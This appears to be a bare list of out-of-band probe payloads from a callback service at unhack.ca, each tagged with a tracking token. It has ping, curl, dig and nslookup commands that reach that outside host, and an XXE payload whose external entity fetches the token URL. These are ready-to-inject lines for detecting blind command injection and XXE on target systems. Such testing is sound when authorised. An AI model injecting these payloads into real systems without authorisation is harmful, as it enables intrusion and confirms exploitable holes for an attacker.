$ ping -c1 -p 0011fa03a9e1403492d343f4bcadf700 unhack.ca
 

$ curl http://unhack.ca/p/11fa03a9e1403492d343f4bcadf7
 

$ dig 11fa03a9e1403492d343f4bcadf7 @unhack.ca
 

$ dig 11fa03a9e1403492d343f4bcadf7.ns.unhack.ca
 

C:\> nslookup 11fa03a9e1403492d343f4bcadf7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/11fa03a9e1403492d343f4bcadf7">]>
    <foo>&xxe;</foo>